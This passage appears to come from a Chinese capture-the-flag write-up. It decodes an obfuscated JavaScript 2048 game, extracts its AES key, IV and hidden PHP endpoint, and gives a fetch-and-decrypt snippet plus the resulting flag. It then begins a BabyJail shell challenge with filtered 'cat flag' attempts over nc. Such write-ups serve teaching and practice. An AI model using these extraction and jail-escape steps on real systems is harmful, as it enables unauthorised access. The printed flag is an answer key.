116t105Z111V110o32T40n95x48a120c53t52J53l51J98p53L41W32T123e10b32N32q32X32h32W32v32b32m32P32e32c32t32u32m32F32h114S101z116H117H114E110V32z95W48i120C53g52v53Q51O98o53B40v41h59w10g32s32H32I32d32C32V32E32O32p32T32x32J125d44x10K32h32M32U32u32D32d32P32c32C32p32B32J39t105n75g105H74v80k39n58g32S102F117N110J99U116b105F111l110L32i40N95N48r120w49U51m50e55r100A101d41S32O123j10H32b32Q32L32H32C32k32H32g32C32U32A32x32u32E32O32V114L101L116s117J114i110n32i95b48x120F49C51f50W55m100F101g40u41K59N10e32i32s32N32Q32v32j32G32w32U32j32j32C125e44k10D32g32d32N32i32Q32w32b32A32y32V32n32N39h97G81O118P101f107Q39k58u32g102g117A110Y99F116W105q111I110P32z40J95d48R120D53n99v102k102I48J101j41F32a123C10f32q32g32E32t32s32b32d32C32j32h32Y32N32Q32t32s32Q114h101l116r117Y114R110b32L95O48H120W53N99d102r102h48Z101p40D41W59D10G32D32l32u32J32n32u32C32R32S32V32s32q125a10P32J32m32a32W32d32y32g32P125S59f10y32y32M32G32s108x101Q116E32K95F48A120a52x102t99c48A57K99h32V61b32y33n91u93C59v10Z32F32I32o32V115H119G105z116n99c104n32z40F95a48J120h52N100h99n48f52P97j91s95Z48t120l49U97o101t99N51R54s40i48K120Q49J54l56R41i93N41J32L123A10R32K32I32v32W99o97X115J101S32S95E48e120s51Q51W54v52z57w99K91N95l48o120m49Q97n101o99W51M54t40q48z120c49L54O102z41h93R58V10p32g32F32u32P32N32t32Q32x95Z48o120u52e102C99g48g57S99W32R61C32B95h48J120b51a51Y54W52x57i99v91Z95T48G120O49W97s101l99t51w54S40C48R120R49v57K99b41b93U40S109Q111s118C101y76B101T102h116W41w59U10i32u32r32V32A32Q32Y32M32j98R114G101g97Y107l59C10Q32c32g32Y32A99I97v115C101J32o95D48c120f51b51h54t52m57k99p91s95T48A120r49r97A101E99S51u54x40I48g120J49t97v55x41f93U58j10a32G32O32U32n32t32W32W32q95u48a120Y52I102Z99V48N57a99c32b61R32s95y48m120P51w51d54l52I57o99y91R95l48r120I49Z97e101B99q51Y54R40D48H120Z49F57p99N41Z93r40w109d111X118d101B82f105r103H104j116t41S59E10v32X32D32p32x32A32L32e32h98q114H101V97L107Q59d10n32T32R32j32r99D97l115J101s32I95B48l120n51o51o54o52b57c99o91F95b48b120e49W97R101k99q51C54x40Z48h120w49d54Q100A41Q93M58z10T32a32U32Q32D32H32k32T32l95a48I120s52X102k99a48v57y99L32W61e32M95p48z120m51G51Z54c52p57C99x91r95k48V120Y49r97E101R99K51o54y40e48R120D49S53y50O41M93Z40n109t111N118Z101h85l112g41K59A10g32h32F32i32d32s32r32U32U98b114V101n97e107y59I10B32W32R32z32v99I97Y115J101t32D95X48z120q51q51o54g52U57g99u91R95y48u120B49J97L101W99y51A54y40y48B120s49k56q55L41K93l58m10g32p32G32I32W32l32t32o32u95c48M120F52q102U99N48W57g99u32T61J32P95b48Q120e51R51u54e52x57z99J91z95l48j120i49e97S101F99x51Z54c40b48r120P49B53f50D41B93F40t109h111C118l101F68w111H119X110X41r59n10Q32D32t32R32M32z32z32y32n98Q114Z101C97O107W59B10p32b32V32g32D125D10D32Q32x32x32p95H48s120b52e102Q99E48B57S99b32M38i38r32c40Z95K48y120a51o51k54w52T57D99X91m95F48x120l49A97C101d99B51T54U40w48S120B49A54e97l41E93S40i97J100R100y82Y97m110H100B111Q109T84Y105S108A101c41w44f32I95d48e120D51K51e54F52t57F99m91M95x48E120H49G97R101t99X51n54x40Y48Y120D49N97i97S41p93y40n114Q101V110Q100l101v114i41n44l32v95w48g120H51l51K54B52p57h99r91v95K48d120Q49Z97U101F99d51S54S40I48p120L49N52J53M41k93Y40s99t104J101k99J107M41H41r59H10D125q41V44k32u105X110A105l116j40s41u59\n\"\n    tokens = re.split(r'[a-zA-Z]+', obfuscated_str)\n    decoded_chars = []\n\n    # 2. \u904d\u5386\u5206\u5272\u540e\u7684\u6570\u5b57\uff0c\u8f6c\u4e3a\u5b57\u7b26\n    for token in tokens:\n        # \u8fc7\u6ee4\u6389\u7a7a\u5b57\u7b26\u4e32\uff08\u56e0\u4e3a\u6b63\u5219\u5206\u5272\u53ef\u80fd\u4f1a\u4ea7\u751f\u7a7a\u4e32\uff09\n        if token.strip():\n            try:\n                # ASCII \u7801\u8f6c\u5b57\u7b26\n                char_code = int(token)\n                decoded_chars.append(chr(char_code))\n            except ValueError:\n                continue\n\n    # 3. \u62fc\u63a5\u7ed3\u679c\n    real_code = \"\".join(decoded_chars)\n\n    print(real_code)\n\nif __name__ == '__main__':\n    solve_sojson()<\/code><\/pre>\n\n\n\n
      function _0x348d() {\n    const _0x4db93f = [\n        'fRdtr',\n        'VtvBx',\n        '2531jIXJyx',\n        'status',\n        '351924mqEOra',\n        'gwMvz',\n        'Ulxll',\n        '4761pmSWUA',\n        'classList',\n        '115adfZbZ',\n        'floor',\n        'add',\n        'MezQA',\n        'QYEPb',\n        'keydown',\n        'div',\n        'ById',\n        'dsPKF',\n        'toString',\n        'cell',\n        'TbOYy',\n        'QprXH.php',\n        'href',\n        'uLlOl',\n        'textConten',\n        'board',\n        'Pkcs7',\n        '13688685SEitVO',\n        'wpCGO',\n        'encrypt',\n        'vdISq',\n        'oPTEh',\n        'split',\n        'lXWlM',\n        'apuCF',\n        'YwQhm',\n        'push',\n        'getElement',\n        '612yRrQEY',\n        'ArrowUp',\n        'appendChil',\n        'JFmlR',\n        'yRaOa',\n        'UfESK',\n        'XExBq',\n        'ZoPTx',\n        'addEventLi',\n        'score',\n        'iKiJP',\n        'kGipA',\n        'etMuD',\n        'ldfKO',\n        'random',\n        'cell-',\n        'dUMqa',\n        'VPnlg',\n        '9d5bef',\n        'readyState',\n        'pxyyc',\n        'mode',\n        'kwunY',\n        'innerHTML',\n        'bqAdt',\n        'af16d2be89',\n        'parse',\n        'ent',\n        'aSWkY',\n        'reverse',\n        'JbIaZ',\n        'ZQkWp',\n        'uAtTE',\n        'aQvek',\n        'IUAly',\n        'location',\n        'BJbHp',\n        'VCEXY',\n        'techange',\n        'CBC',\n        '4|3|2|0|1',\n        'decrypt',\n        '745c30',\n        'onreadysta',\n        'GET',\n        'nGuod',\n        'UGMlQ',\n        'iSHKM',\n        'send',\n        'fill',\n        'responseTe',\n        'jQoyc',\n        '1208feFXpC',\n        '\/u0cNTzvI5',\n        'ArrowRight',\n        'ArrowLeft',\n        'Utf8',\n        '570hfBuPk',\n        'AES',\n        'enc',\n        'pjyyA',\n        'pad',\n        'filter',\n        'open',\n        'createElem',\n        '535733xZbMLS',\n        'slice',\n        '49091hnZAEB',\n        'key',\n        'length',\n        'vBqgI',\n        'ArrowDown',\n        'BmjSd',\n        'SPfwt',\n        '2638944ZHSbVW',\n        'Bsfxd',\n        '\u8bf7\u6c42\u5931\u8d25\uff0c\u72b6\u6001\u7801\uff1a',\n        'stener',\n        'error',\n        '1267c0a384',\n        'className',\n        'WVUkI',\n        'DWiZf',\n        'from',\n        'CZNzY',\n        'hfHMv'\n    ];\n    _0x348d = function () {\n        return _0x4db93f;\n    };\n    return _0x348d();\n}\nconst _0x12b773 = _0x1d81;\n(function (_0x1b3001, _0x2195d8) {\n    const _0x33d38a = _0x1d81, _0x9d4e67 = _0x1b3001();\n    while (!![]) {\n        try {\n            const _0x2dd809 = parseInt(_0x33d38a(0x17c)) \/ (0x270a + -0x8f3 + -0x1e16) * (-parseInt(_0x33d38a(0x1a0)) \/ (-0x224e + 0x2371 + -0x11 * 0x11)) + parseInt(_0x33d38a(0x181)) \/ (0xf7 * 0x1d + -0x5 * 0x3d3 + -0x2f3 * 0x3) + parseInt(_0x33d38a(0x16e)) \/ (0x1 * -0x247d + 0x26e4 + -0x263 * 0x1) + -parseInt(_0x33d38a(0x183)) \/ (0x2aa * 0xb + 0x1 * 0x1330 + 0x1 * -0x3079) * (parseInt(_0x33d38a(0x17e)) \/ (-0x2b * -0xdb + 0xca * 0x9 + -0x2bdd)) + -parseInt(_0x33d38a(0x167)) \/ (-0x153d + -0x4 * 0x40 + 0x1644) * (-parseInt(_0x33d38a(0x158)) \/ (0x1cc0 + -0xe38 + -0x1 * 0xe80)) + -parseInt(_0x33d38a(0x195)) \/ (0x6a * -0x1 + 0x3b6 + -0x343) + parseInt(_0x33d38a(0x15d)) \/ (-0x1082 * 0x1 + 0x1725 + -0x699 * 0x1) * (parseInt(_0x33d38a(0x165)) \/ (0x2c5 * 0x1 + 0x1 * 0x1e16 + -0x18 * 0x15e));\n            if (_0x2dd809 === _0x2195d8)\n                break;\n            else\n                _0x9d4e67['push'](_0x9d4e67['shift']());\n        } catch (_0x45126b) {\n            _0x9d4e67['push'](_0x9d4e67['shift']());\n        }\n    }\n}(_0x348d, 0x917a9 + -0x1375af + -0x2e * -0x8209));\nconst boardSize = 0x646 + 0x1aee + 0x18 * -0x162;\nlet board = [], score = -0x1 * 0x1ae + -0x337 * -0x4 + -0x1dd * 0x6;\nconst boardElement = document[_0x12b773(0x19f) + _0x12b773(0x18a)](_0x12b773(0x193)), scoreElement = document[_0x12b773(0x19f) + _0x12b773(0x18a)](_0x12b773(0x1a9));\nfunction init() {\n    const _0x447c54 = _0x12b773, _0x2e1ee2 = {\n            'TbOYy': _0x447c54(0x14c),\n            'JFmlR': function (_0x59f75e) {\n                return _0x59f75e();\n            },\n            'UfESK': function (_0x5548db) {\n                return _0x5548db();\n            },\n            'Ulxll': function (_0x5328e0) {\n                return _0x5328e0();\n            }\n        }, _0x57810f = _0x2e1ee2[_0x447c54(0x18e)][_0x447c54(0x19a)]('|');\n    let _0xa62dd = 0x1a34 + -0xc47 + -0xded;\n    while (!![]) {\n        switch (_0x57810f[_0xa62dd++]) {\n        case '0':\n            _0x2e1ee2[_0x447c54(0x1a3)](addRandomTile);\n            continue;\n        case '1':\n            _0x2e1ee2[_0x447c54(0x1a5)](render);\n            continue;\n        case '2':\n            _0x2e1ee2[_0x447c54(0x180)](addRandomTile);\n            continue;\n        case '3':\n            score = 0x221 * 0xd + -0x18b * -0x13 + -0x38fe;\n            continue;\n        case '4':\n            board = Array[_0x447c54(0x177)]({ 'length': boardSize }, () => Array(boardSize)[_0x447c54(0x155)](-0xac * 0x11 + -0x40a * -0x3 + -0x2 * 0x59));\n            continue;\n        }\n        break;\n    }\n}\nfunction addRandomTile() {\n    const _0x4828ab = _0x12b773, _0x49b024 = {\n            'pjyyA': function (_0x57b6a4, _0xb38dac) {\n                return _0x57b6a4 < _0xb38dac;\n            },\n            'CZNzY': function (_0x5e272e, _0x5ebe29) {\n                return _0x5e272e === _0x5ebe29;\n            },\n            'VCEXY': function (_0x2dc4b9, _0x596622) {\n                return _0x2dc4b9 * _0x596622;\n            },\n            'kwunY': function (_0x2bfdcd, _0x288c8d) {\n                return _0x2bfdcd < _0x288c8d;\n            }\n        };\n    let _0x28a95f = [];\n    for (let _0x396a22 = -0x1 * 0x2407 + 0x1 * 0x1927 + 0xae0; _0x49b024[_0x4828ab(0x160)](_0x396a22, boardSize); _0x396a22++) {\n        for (let _0x20de6d = -0x1d88 + -0x1 * 0x6a7 + 0x242f * 0x1; _0x49b024[_0x4828ab(0x160)](_0x20de6d, boardSize); _0x20de6d++) {\n            _0x49b024[_0x4828ab(0x178)](board[_0x396a22][_0x20de6d], -0x449 * -0x4 + 0xf80 * 0x1 + -0x1052 * 0x2) && _0x28a95f[_0x4828ab(0x19e)]({\n                'i': _0x396a22,\n                'j': _0x20de6d\n            });\n        }\n    }\n    if (_0x49b024[_0x4828ab(0x178)](_0x28a95f[_0x4828ab(0x169)], -0x106c + -0x449 * 0x5 + 0x25d9))\n        return;\n    let {\n        i: _0x11cc23,\n        j: _0x20e0ee\n    } = _0x28a95f[Math[_0x4828ab(0x184)](_0x49b024[_0x4828ab(0x149)](Math[_0x4828ab(0x1ae)](), _0x28a95f[_0x4828ab(0x169)]))];\n    board[_0x11cc23][_0x20e0ee] = _0x49b024[_0x4828ab(0x1b6)](Math[_0x4828ab(0x1ae)](), 0x844 + 0xe02 + -0x1646 + 0.9) ? 0x254 * 0xd + -0xb8d * -0x2 + -0x355c : 0x1 * -0xa77 + 0x35 * 0x2c + -0xd * -0x1b;\n}\nfunction render() {\n    const _0x2e617d = _0x12b773, _0x348a77 = {\n            'VtvBx': function (_0x3f248c, _0x5d5004) {\n                return _0x3f248c < _0x5d5004;\n            },\n            'BmjSd': _0x2e617d(0x189),\n            'VPnlg': _0x2e617d(0x18d),\n            'jQoyc': function (_0x516883, _0x1dcdbd) {\n                return _0x516883 !== _0x1dcdbd;\n            }\n        };\n    boardElement[_0x2e617d(0x13b)] = '', scoreElement[_0x2e617d(0x192) + 't'] = score;\n    for (let _0x465671 = -0x1f77 + 0x1 * -0x163d + -0x1c * -0x1eb; _0x348a77[_0x2e617d(0x17b)](_0x465671, boardSize); _0x465671++) {\n        for (let _0x4c489c = -0x2216 * 0x1 + -0x1f * 0x37 + -0x487 * -0x9; _0x348a77[_0x2e617d(0x17b)](_0x4c489c, boardSize); _0x4c489c++) {\n            const _0x34648d = board[_0x465671][_0x4c489c], _0x215c1d = document[_0x2e617d(0x164) + _0x2e617d(0x13f)](_0x348a77[_0x2e617d(0x16c)]);\n            _0x215c1d[_0x2e617d(0x174)] = _0x348a77[_0x2e617d(0x1b1)], _0x348a77[_0x2e617d(0x157)](_0x34648d, 0x1891 * -0x1 + -0x1c60 + -0x1 * -0x34f1) && (_0x215c1d[_0x2e617d(0x192) + 't'] = _0x34648d, _0x215c1d[_0x2e617d(0x182)][_0x2e617d(0x185)](_0x2e617d(0x1af) + _0x34648d)), boardElement[_0x2e617d(0x1a2) + 'd'](_0x215c1d);\n        }\n    }\n}\nfunction check() {\n    const _0x2c55ab = _0x12b773, _0x552c9d = {\n            'oPTEh': function (_0x45f36d, _0x2b44a7) {\n                return _0x45f36d < _0x2b44a7;\n            },\n            'wpCGO': function (_0x4a858a, _0x3f306b) {\n                return _0x4a858a > _0x3f306b;\n            },\n            'yRaOa': function (_0x2f7cb4) {\n                return _0x2f7cb4();\n            }\n        };\n    for (let _0x105485 = 0x2 * 0x671 + -0xa3d + 0x2a5 * -0x1; _0x552c9d[_0x2c55ab(0x199)](_0x105485, -0x1ac5 + -0xd84 * -0x1 + -0xd45 * -0x1); _0x105485++) {\n        for (let _0x169bc7 = -0x16d3 + 0x1aa1 + 0x2 * -0x1e7; _0x552c9d[_0x2c55ab(0x199)](_0x169bc7, -0x4 * -0x43b + 0x105b * -0x2 + 0xfce * 0x1); _0x169bc7++) {\n            _0x552c9d[_0x2c55ab(0x196)](board[_0x105485][_0x169bc7], -0x14b4 + -0x22a + -0x12 * -0x1b7) && _0x552c9d[_0x2c55ab(0x1a4)](show_flag);\n        }\n    }\n}\nconst key = CryptoJS[_0x12b773(0x15f)][_0x12b773(0x15c)][_0x12b773(0x13e)](_0x12b773(0x173) + _0x12b773(0x1b2)), iv = CryptoJS[_0x12b773(0x15f)][_0x12b773(0x15c)][_0x12b773(0x13e)](_0x12b773(0x13d) + _0x12b773(0x14e));\nfunction _0x1d81(_0x169ff1, _0x101db5) {\n    const _0x2235a7 = _0x348d();\n    return _0x1d81 = function (_0x58aefd, _0x37a7c3) {\n        _0x58aefd = _0x58aefd - (-0x1a * 0xbb + 0x1653 + -0x21a);\n        let _0x7d0953 = _0x2235a7[_0x58aefd];\n        return _0x7d0953;\n    }, _0x1d81(_0x169ff1, _0x101db5);\n}\nfunction aesEncrypt(_0x4e093f) {\n    const _0x377094 = _0x12b773, _0x5894aa = CryptoJS[_0x377094(0x15e)][_0x377094(0x197)](_0x4e093f, key, {\n            'iv': iv,\n            'mode': CryptoJS[_0x377094(0x1b5)][_0x377094(0x14b)],\n            'padding': CryptoJS[_0x377094(0x161)][_0x377094(0x194)]\n        });\n    return _0x5894aa[_0x377094(0x18c)]();\n}\nfunction aesDecrypt(_0x38dd22) {\n    const _0x539950 = _0x12b773, _0x3d66d2 = CryptoJS[_0x539950(0x15e)][_0x539950(0x14d)](_0x38dd22, key, {\n            'iv': iv,\n            'mode': CryptoJS[_0x539950(0x1b5)][_0x539950(0x14b)],\n            'padding': CryptoJS[_0x539950(0x161)][_0x539950(0x194)]\n        });\n    return _0x3d66d2[_0x539950(0x18c)](CryptoJS[_0x539950(0x15f)][_0x539950(0x15c)]);\n}\nfunction show_flag() {\n    const _0x155749 = _0x12b773, _0x46f394 = {\n            'DWiZf': function (_0x387a20, _0x4b950f) {\n                return _0x387a20 === _0x4b950f;\n            },\n            'nGuod': function (_0x142a22, _0x168ed0) {\n                return _0x142a22 === _0x168ed0;\n            },\n            'WVUkI': function (_0x315cf5, _0xcb69d2) {\n                return _0x315cf5(_0xcb69d2);\n            },\n            'XExBq': _0x155749(0x170),\n            'YwQhm': _0x155749(0x150)\n        }, _0x2ffeb9 = new XMLHttpRequest();\n    let _0x58ef84 = window[_0x155749(0x147)][_0x155749(0x190)] + (_0x155749(0x159) + _0x155749(0x18f));\n    _0x2ffeb9[_0x155749(0x163)](_0x46f394[_0x155749(0x19d)], _0x58ef84, !![]), _0x2ffeb9[_0x155749(0x14f) + _0x155749(0x14a)] = function () {\n        const _0xb00357 = _0x155749;\n        _0x46f394[_0xb00357(0x176)](_0x2ffeb9[_0xb00357(0x1b3)], 0xc86 + 0xa5c + -0x2 * 0xb6f) && (_0x46f394[_0xb00357(0x151)](_0x2ffeb9[_0xb00357(0x17d)], -0x1f6f + 0x1cc1 + -0x1 * -0x376) ? _0x46f394[_0xb00357(0x175)](alert, _0x46f394[_0xb00357(0x175)](aesDecrypt, _0x2ffeb9[_0xb00357(0x156) + 'xt'])) : console[_0xb00357(0x172)](_0x46f394[_0xb00357(0x1a6)], _0x2ffeb9[_0xb00357(0x17d)]));\n    }, _0x2ffeb9[_0x155749(0x154)]();\n}\nfunction slide(_0x533c6) {\n    const _0xd5d818 = _0x12b773, _0x8cd5f0 = {\n            'bqAdt': function (_0x3ff46, _0x3ebff4) {\n                return _0x3ff46 < _0x3ebff4;\n            },\n            'dsPKF': function (_0x15eb6d, _0x4982c5) {\n                return _0x15eb6d - _0x4982c5;\n            },\n            'iSHKM': function (_0x4320dc, _0x4bfa1d) {\n                return _0x4320dc === _0x4bfa1d;\n            },\n            'lXWlM': function (_0x4e6398, _0x453d46) {\n                return _0x4e6398 + _0x453d46;\n            },\n            'hfHMv': function (_0x13c51c, _0x801178) {\n                return _0x13c51c + _0x801178;\n            }\n        };\n    _0x533c6 = _0x533c6[_0xd5d818(0x162)](_0x4400e6 => _0x4400e6 !== 0x1ed5 + 0x16f2 + -0x35c7);\n    for (let _0x4e5073 = -0x19be + -0x1 * 0x1f49 + 0x3907; _0x8cd5f0[_0xd5d818(0x13c)](_0x4e5073, _0x8cd5f0[_0xd5d818(0x18b)](_0x533c6[_0xd5d818(0x169)], -0x1a6c + -0x1 * 0x2dd + 0x2e * 0xa3)); _0x4e5073++) {\n        _0x8cd5f0[_0xd5d818(0x153)](_0x533c6[_0x4e5073], _0x533c6[_0x8cd5f0[_0xd5d818(0x19b)](_0x4e5073, -0x2b * 0x52 + 0x25 * 0xe3 + -0x1308)]) && (_0x533c6[_0x4e5073] *= -0x6e7 * 0x5 + 0x2c7 + -0x11 * -0x1de, score += _0x533c6[_0x4e5073], _0x533c6[_0x8cd5f0[_0xd5d818(0x179)](_0x4e5073, -0x22b9 * -0x1 + -0x2528 + -0x27 * -0x10)] = -0x7c7 + 0x19d3 + -0x3 * 0x604);\n    }\n    return _0x533c6[_0xd5d818(0x162)](_0x504624 => _0x504624 !== 0x575 * 0x1 + -0xd * 0x77 + 0x96);\n}\nfunction moveLeft() {\n    const _0x11a36e = _0x12b773, _0x42279d = {\n            'kGipA': function (_0x51a9cf, _0x4eb384) {\n                return _0x51a9cf < _0x4eb384;\n            },\n            'IUAly': function (_0x813b32, _0x33214f) {\n                return _0x813b32(_0x33214f);\n            },\n            'pxyyc': function (_0x409f19, _0x1407e7) {\n                return _0x409f19 < _0x1407e7;\n            },\n            'dUMqa': function (_0x1da587, _0x5cf9c3) {\n                return _0x1da587 !== _0x5cf9c3;\n            }\n        };\n    let _0x60955b = ![];\n    for (let _0x68d9e9 = 0x2135 + -0x13d4 + 0x1 * -0xd61; _0x42279d[_0x11a36e(0x1ab)](_0x68d9e9, boardSize); _0x68d9e9++) {\n        let _0x3c1aab = _0x42279d[_0x11a36e(0x146)](slide, board[_0x68d9e9]);\n        while (_0x42279d[_0x11a36e(0x1b4)](_0x3c1aab[_0x11a36e(0x169)], boardSize))\n            _0x3c1aab[_0x11a36e(0x19e)](-0x533 * -0x2 + 0x11 * 0x173 + -0x2309 * 0x1);\n        if (_0x42279d[_0x11a36e(0x1b0)](_0x3c1aab[_0x11a36e(0x18c)](), board[_0x68d9e9][_0x11a36e(0x18c)]()))\n            _0x60955b = !![];\n        board[_0x68d9e9] = _0x3c1aab;\n    }\n    return _0x60955b;\n}\nfunction moveRight() {\n    const _0x595621 = _0x12b773, _0x26459d = {\n            'aSWkY': function (_0x2c2b1a, _0x4c2403) {\n                return _0x2c2b1a < _0x4c2403;\n            },\n            'ldfKO': function (_0x534a31, _0x557632) {\n                return _0x534a31(_0x557632);\n            },\n            'vdISq': function (_0x543286, _0x3b34c9) {\n                return _0x543286 !== _0x3b34c9;\n            }\n        };\n    let _0x2ce3d2 = ![];\n    for (let _0x373e16 = -0x7b1 * 0x3 + -0x4f2 * 0x1 + 0x1c05; _0x26459d[_0x595621(0x140)](_0x373e16, boardSize); _0x373e16++) {\n        let _0x481aa1 = _0x26459d[_0x595621(0x1ad)](slide, board[_0x373e16][_0x595621(0x166)]()[_0x595621(0x141)]());\n        while (_0x26459d[_0x595621(0x140)](_0x481aa1[_0x595621(0x169)], boardSize))\n            _0x481aa1[_0x595621(0x19e)](0xf71 + 0x1 * 0x2260 + 0x9 * -0x589);\n        _0x481aa1[_0x595621(0x141)]();\n        if (_0x26459d[_0x595621(0x198)](_0x481aa1[_0x595621(0x18c)](), board[_0x373e16][_0x595621(0x18c)]()))\n            _0x2ce3d2 = !![];\n        board[_0x373e16] = _0x481aa1;\n    }\n    return _0x2ce3d2;\n}\nfunction moveUp() {\n    const _0x41984e = _0x12b773, _0xf41e98 = {\n            'JbIaZ': function (_0x176216, _0x3aad76) {\n                return _0x176216 < _0x3aad76;\n            },\n            'ZQkWp': function (_0x3952d4, _0x3bb68b) {\n                return _0x3952d4(_0x3bb68b);\n            },\n            'BJbHp': function (_0x56d51f, _0x532693) {\n                return _0x56d51f !== _0x532693;\n            }\n        };\n    let _0x1a22c4 = ![];\n    for (let _0x317392 = 0x224 * -0xe + -0xf01 + 0x2cf9; _0xf41e98[_0x41984e(0x142)](_0x317392, boardSize); _0x317392++) {\n        let _0x60211f = [];\n        for (let _0x46c1ad = 0x85 * -0xd + 0x1efa + 0x9f * -0x27; _0xf41e98[_0x41984e(0x142)](_0x46c1ad, boardSize); _0x46c1ad++)\n            _0x60211f[_0x41984e(0x19e)](board[_0x46c1ad][_0x317392]);\n        let _0x2d118f = _0xf41e98[_0x41984e(0x143)](slide, _0x60211f);\n        while (_0xf41e98[_0x41984e(0x142)](_0x2d118f[_0x41984e(0x169)], boardSize))\n            _0x2d118f[_0x41984e(0x19e)](-0xb48 + -0x15 * 0xb1 + 0x19cd);\n        for (let _0x2bfa62 = 0xf55 + 0x2013 + -0x2f68; _0xf41e98[_0x41984e(0x142)](_0x2bfa62, boardSize); _0x2bfa62++) {\n            if (_0xf41e98[_0x41984e(0x148)](board[_0x2bfa62][_0x317392], _0x2d118f[_0x2bfa62]))\n                _0x1a22c4 = !![];\n            board[_0x2bfa62][_0x317392] = _0x2d118f[_0x2bfa62];\n        }\n    }\n    return _0x1a22c4;\n}\nfunction moveDown() {\n    const _0x921ce2 = _0x12b773, _0x5919c5 = {\n            'etMuD': function (_0x5e6282, _0x1ad685) {\n                return _0x5e6282 < _0x1ad685;\n            },\n            'fRdtr': function (_0x26fd75, _0x5775ca) {\n                return _0x26fd75 < _0x5775ca;\n            },\n            'uLlOl': function (_0x2c92ae, _0x3952da) {\n                return _0x2c92ae(_0x3952da);\n            },\n            'MezQA': function (_0x56e48c, _0x41c1ae) {\n                return _0x56e48c < _0x41c1ae;\n            },\n            'uAtTE': function (_0x554c9d, _0x12d13a) {\n                return _0x554c9d < _0x12d13a;\n            },\n            'gwMvz': function (_0xcc338c, _0x2b02e1) {\n                return _0xcc338c !== _0x2b02e1;\n            }\n        };\n    let _0x2f7b32 = ![];\n    for (let _0xf2d58d = -0x1059 + 0xa8b * -0x2 + -0x559 * -0x7; _0x5919c5[_0x921ce2(0x1ac)](_0xf2d58d, boardSize); _0xf2d58d++) {\n        let _0x43d740 = [];\n        for (let _0x48913f = 0xae8 + -0xd * 0x11f + 0x1 * 0x3ab; _0x5919c5[_0x921ce2(0x17a)](_0x48913f, boardSize); _0x48913f++)\n            _0x43d740[_0x921ce2(0x19e)](board[_0x48913f][_0xf2d58d]);\n        let _0x185add = _0x5919c5[_0x921ce2(0x191)](slide, _0x43d740[_0x921ce2(0x141)]());\n        while (_0x5919c5[_0x921ce2(0x186)](_0x185add[_0x921ce2(0x169)], boardSize))\n            _0x185add[_0x921ce2(0x19e)](-0x3 * -0x2cc + 0x1091 + -0x18f5);\n        _0x185add[_0x921ce2(0x141)]();\n        for (let _0x4c2d35 = -0x892 * 0x3 + -0xe6d + 0x89 * 0x4b; _0x5919c5[_0x921ce2(0x144)](_0x4c2d35, boardSize); _0x4c2d35++) {\n            if (_0x5919c5[_0x921ce2(0x17f)](board[_0x4c2d35][_0xf2d58d], _0x185add[_0x4c2d35]))\n                _0x2f7b32 = !![];\n            board[_0x4c2d35][_0xf2d58d] = _0x185add[_0x4c2d35];\n        }\n    }\n    return _0x2f7b32;\n}\ndocument[_0x12b773(0x1a8) + _0x12b773(0x171)](_0x12b773(0x188), _0x4dc04a => {\n    const _0x1aec36 = _0x12b773, _0x33649c = {\n            'Bsfxd': _0x1aec36(0x15b),\n            'apuCF': function (_0x5e0c4d) {\n                return _0x5e0c4d();\n            },\n            'ZoPTx': _0x1aec36(0x15a),\n            'SPfwt': _0x1aec36(0x1a1),\n            'UGMlQ': function (_0x326db1) {\n                return _0x326db1();\n            },\n            'QYEPb': _0x1aec36(0x16b),\n            'vBqgI': function (_0x5453b5) {\n                return _0x5453b5();\n            },\n            'iKiJP': function (_0x1327de) {\n                return _0x1327de();\n            },\n            'aQvek': function (_0x5cff0e) {\n                return _0x5cff0e();\n            }\n        };\n    let _0x4fc09c = ![];\n    switch (_0x4dc04a[_0x1aec36(0x168)]) {\n    case _0x33649c[_0x1aec36(0x16f)]:\n        _0x4fc09c = _0x33649c[_0x1aec36(0x19c)](moveLeft);\n        break;\n    case _0x33649c[_0x1aec36(0x1a7)]:\n        _0x4fc09c = _0x33649c[_0x1aec36(0x19c)](moveRight);\n        break;\n    case _0x33649c[_0x1aec36(0x16d)]:\n        _0x4fc09c = _0x33649c[_0x1aec36(0x152)](moveUp);\n        break;\n    case _0x33649c[_0x1aec36(0x187)]:\n        _0x4fc09c = _0x33649c[_0x1aec36(0x152)](moveDown);\n        break;\n    }\n    _0x4fc09c && (_0x33649c[_0x1aec36(0x16a)](addRandomTile), _0x33649c[_0x1aec36(0x1aa)](render), _0x33649c[_0x1aec36(0x145)](check));\n}), init();<\/code><\/pre>\n\n\n\n
      \u5173\u952e\u903b\u8f91\u4ee3\u7801<\/p>\n\n\n\n
      const key=CryptoJS[_0x12b773(0x15f)][_0x12b773(0x15c)][_0x12b773(0x13e)](_0x12b773(0x173)+ _0x12b773(0x1b2))\n\n1267c0a3849d5bef\n\niv = CryptoJS[_0x12b773(0x15f)][_0x12b773(0x15c)][_0x12b773(0x13e)](_0x12b773(0x13d) + _0x12b773(0x14e))\naf16d2be89745c30\n\nlet _0x58ef84 = window[_0x155749(0x147)][_0x155749(0x190)] + (_0x155749(0x159) + _0x155749(0x18f));\n\/u0cNTzvI5QprXH.php\n<\/code><\/pre>\n\n\n\n
      console\u5e26\u7740\u5bc6\u94a5\u8bbf\u95eephp\u6587\u4ef6\u5373\u53ef<\/p>\n\n\n\n
      const key = CryptoJS.enc.Utf8.parse('1267c0a3849d5bef');\nconst iv = CryptoJS.enc.Utf8.parse('af16d2be89745c30');\n\n(async () => {\n  const response = await fetch('\/u0cNTzvI5QprXH.php');\n  const ct = await response.text();\n  const pt = CryptoJS.AES.decrypt(ct.trim(), key, {\n    iv: iv,\n    mode: CryptoJS.mode.CBC,\n    padding: CryptoJS.pad.Pkcs7\n  }).toString(CryptoJS.enc.Utf8);\n  console.log(pt);\n  alert(pt);\n})();<\/code><\/pre>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      flag{0fe3a394-9e79-4357-84ce-5cba3def02ac}<\/code><\/pre>\n\n\n\n
      PWN<\/h2>\n\n\n\n
      shell<\/h3>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u65e0\u9644\u4ef6\uff0cnc\u8fde\u63a5<\/p>\n\n\n\n
      \u53ef\u6267\u884c\u7684\u547d\u4ee4\u5982\u4e0b<\/p>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u76f4\u63a5\u8bfb\u53d6flag \u53d1\u73b0\u5b58\u5728waf<\/p>\n\n\n\n
      sanjiu@localhost:~$ nc 101.200.152.81 37214\nBabyJail (type 'help')\n$ echo flag\necho flag\nFiltered :)\n$ cat flag\ncat flag\nFiltered :)\n$ echo *\necho *\n*<\/code><\/pre>\n\n\n\n
